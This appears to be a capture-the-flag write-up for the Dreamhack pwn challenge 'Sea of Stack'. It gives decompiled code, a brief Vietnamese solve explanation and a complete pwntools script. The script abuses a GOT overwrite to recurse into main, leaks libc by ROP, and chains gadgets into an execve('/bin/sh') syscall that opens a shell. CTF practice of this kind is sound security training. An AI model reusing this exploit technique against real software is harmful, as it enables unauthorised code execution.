pwn - 621 - Sea of Stack
Throw the flag at sea. It's so deep that no one can find it.
Vulnerability: stack buffer overflow - improper length check in read()
December 23, 2025
•
December 18, 2025
•
Medium
Recon
Mitigation

Code
//----- (00000000004013F0) ----------------------------------------------------
void *safe_func()
{
char s[48]; // [rsp+0h] [rbp-30h] BYREF
read_input((__int64)s, 41);
return memset(s, 0, 0x28uLL);
}
//----- (0000000000401426) ----------------------------------------------------
__int64 unsafe_func()
{
char v1[32]; // [rsp+0h] [rbp-20h] BYREF
return read_input((__int64)v1, 0x10000);
}
// 401426: using guessed type __int64 __fastcall unsafe_func();
// 401426: using guessed type char var_20[32];
//----- (0000000000401446) ----------------------------------------------------
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+0h] [rbp-30h] BYREF
_QWORD *v5; // [rsp+8h] [rbp-28h] BYREF
char s1[28]; // [rsp+10h] [rbp-20h] BYREF
int number; // [rsp+2Ch] [rbp-4h]
proc_init(argc, argv, envp);
printf("If you really want to give me a present, bring me that kind detective's heart.\n> ");
read_input((__int64)s1, 16);
if ( !strcmp(s1, "Decision2Solve") && !gotPresent )
{
read_input((__int64)&v5, 8);
read_input((__int64)&v4, 6);
*v5 = v4;
gotPresent = 1LL;
}
print_menu();
number = read_number();
if ( number == 1 )
{
safe();
}
else if ( number == 2 )
{
unsafe();
}
return 0;
}Solve
Ghi đề safe_func() để nhảy về main() khoảng 1000 lần để trừ rsp, để rsp xa khỏi kết thúc của stack. Lúc đấy unsafe_func() mới đọc được 0x10000 bytes mà không bị lỗi bộ nhớ.
Overflow để leak libc rồi ROP là được.
Script
#!/usr/bin/env python3
from pwn import *
exe = ELF("prob_patched")
libc = ELF("libc.so.6")
ld = ELF("./ld-2.35.so")
context.terminal = ['tmux', 'splitw', '-h']
context.binary = exe
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
pa = lambda text, addr: print(text, hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
gdbscript = '''
# b *0x40147C
# b *0x401501
b *0x401444
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
if args.DEBUG:
context.log_level = 'debug'
return p
else:
host = "host8.dreamhack.games"
port = 10736
return remote(host, port)
p = conn()
sa(p, b'>', b'Decision2Solve\0\0')
sleep(0.1)
s(p, p64(0x404010))
s(p, p64(0x401446)[:6])
slan(p, b'>', 1)
for i in range(1000):
sa(p, b'>', b'A' * 16)
slan(p, b'>', 1)
print(f"sub rsp {i}th")
sa(p, b'>', b'A' * 16)
slan(p, b'>', 2)
print("ROP to leak libc")
pl = flat(
b'A' * 5 * 8,
0x000000000040129b, # pop rdi; pop rbp; ret
0x404020, # libc stdout
0,
0x00000000004011af, # nop; leave; ret
0x4013E3, # printf; pop rbp; retn
0,
0x401426, # unsafe function again
).ljust(0x10000, b'\0')
s(p, pl)
rn(p, 1)
libc.address = leak_bytes(rn(p, 6), libc.symbols['_IO_2_1_stdout_'])
pa("libc base", libc.address)
print("ROP to spawn shell")
pl = flat(
b'A' * 5 * 8,
libc.address + 0x000000000002a3e5, # pop rdi; ret
binsh(libc),
libc.address + 0x000000000002be51, # pop rsi; ret
0,
libc.address + 0x000000000011f497, # pop rdx, pop r12; ret
0, 0,
libc.address + 0x00000000000d7b55, # sub al, 0x75 ; pop rax ; ret
0x3b,
libc.address + 0x0000000000029db4, # syscall
).ljust(0x10000, b'\0')
s(p, pl)
ia(p)